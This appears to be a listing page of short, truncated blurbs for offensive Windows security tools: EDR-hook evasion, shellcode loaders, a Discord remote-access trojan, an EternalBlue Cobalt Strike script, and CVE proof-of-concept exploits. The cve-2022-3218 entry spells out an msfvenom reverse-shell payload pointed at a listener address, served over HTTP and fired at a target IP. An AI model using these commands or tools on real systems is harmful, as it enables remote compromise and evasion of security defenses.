RefleXXion

Introducción RefleXXion es una utilidad diseñada para ayudar a evadir los hooks en modo usuario utilizados por AV/EPP/EDR, etc. Para evadir los hooks en modo usuario, primero recopila los números de syscall de NtOpenFile, NtCreateSection, NtOpenSection y NtMapViewOfSection encontrados en el array...

AsmLdr

AsmLdr: Un cargador de shellcode dinámico para Windows x64 Descripción general AsmLdr es un cargador de shellcode avanzado implementado en lenguaje ensamblador x64, diseñado para entornos Windows x64. Su propósito principal es ejecutar payloads cifrados mientras minimiza la detección por parte de...

DiscordRAT

DiscordRAT V2 Herramienta de Administración Remota de Discord completamente escrita en Python3. Este es un RAT controlado a través de Discord con más de 20 módulos de post-explotación. Descargo de responsabilidad: Esta herramienta es solo para uso educativo, el autor no se responsabilizará por...

Stryker

Stryker Herramienta de prueba de concepto multipropósito basada en CPU-Z CVE-2017-15303 Requisitos del sistema x64 Windows 7/8/8.1/10; Stryker diseñado solo para x64 Windows; Se requieren privilegios de administrador. Características Anulador de la aplicación de firmas de controladores similar a...

CVE-2026-24291

CVE-2026-24291 poc win1021h2190446937amd64 vs2022...

CVE-2026-2636

CVE-2026-2636 CVE-2026-2636 poc win1123h2226315039x64 Build Basic Information Windows SDK Version: 10.0 latest installed version Platform Toolset: Visual Studio 2022 v143 C++ Language Standard: Default ISO C++14 Standard...

CVE-2019-25485

🐞 CVE-2019-25485: R 3.4.4 - Desbordamiento de Búfer Basado en Pila x86 y x64 Desbordamiento de búfer basado en pila en R 3.4.4. Explotación completa en x86, pero solo control de RIP con análisis de gadgets en x64 debido a restricciones del programa. La misma vulnerabilidad en dos arquitecturas, l...

CVE-2020-1020

CVE-2020-1020 Corrupción de pila en Windows Font Driver Type 1 VToHOrigin solo funciona en win7 x64...

CVE-2013-3660-x64-WIN7

Este repositorio no tiene un README...

CVE-2012-1876-win7_x86_and_win7x64

Este repositorio no tiene un README...

CVE-2017-8464

CVE-2017-8464 EJEMPLO Soporta x86 y x64 Solo para prueba POC de unidad USB https://youtu.be/kYj1lAxl3DE...

CVE-2020-0796

CVE-2020-0796 Exploit de Coronablue Tras la extracción, el exploit compilado estará en la carpeta CVE-2020-0796-master\CVE-2020-0796\x64\Release\cve-2020-0796-local.exe...

CVE-2019-0887

CVE-2019-0887 Compila el CVE-2019-0887, renómbralo a winhlp.dll Compila InstallHook, renómbralo a hook.exe cuidado, deben compilarse con x64 Ponlos en el sistema malvado tal cual root@kitploit: c:\windows\hook.exe c:\windows\winhlp.dll c:\windows\winhlp64.exe something evil Si alguien quiere...

Cobaltstrike-MS17-010

Cobaltstrike Aggressor Script ms17-010 exploit tool and scanner. 1. Download files in cobaltstrike's root folder. 2. Import "aggressor.cna" ms17-010 exploit tools just support win7 x64 and win2008 r2 pwn/Invoke-EternalBlue.ps1 from Empire getinfo/Invoke-EternalScan.ps1 from @vletoux...

SILVERPICK

SILVERPICK VERSION v1.1 BRIEF Project SILVERPICK is a Windows User-Mode Shellcode Development Framework WUMSDF whose sole purpose is to empower capability developers to build Position Independent Code PIC blobs for Windows x64 using C/C++ in an easy manner so as to reduce the development costs of...

Clematis

Clematis 中文 | English 🛠️ A powerful tool for converting PE files EXE/DLL into position-independent shellcode. ✨ Key Features Support for converting PE files EXE/DLL to shellcode Compatible with both x86 and x64 architectures Command-line argument support Built-in LZNT1 compression algorithm for...

cve-2022-3218

Paso 1 — Crear un payload REAL Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Paso 2 — Servir el payload por HTTP En el mismo directorio: python3 -m http.server 80 Paso 3 — Ajustar el exploit Ejecuta así: python3 CVE-2022-3218.py 172.20.7.185...

peafl64

Overview peafl64 is a static instrumentation tool for x64 PEs in Windows. Static instrumentation is the practice of editing executable files and adding code to specific locations in them. The instrumentation adds code to the start of every basic block in the binary, logging the execution flow in ...

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass My version - Win10 x64 CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass...

ghostdebug

GhostDebug GhostDebug is a Windows x64 debugger prototype composed of a native debugging DLL and a .NET Framework command-line client. It is intended for debugging targets that use debugger-detection checks. For background on the design, see Developing an undetected debugger on Windows...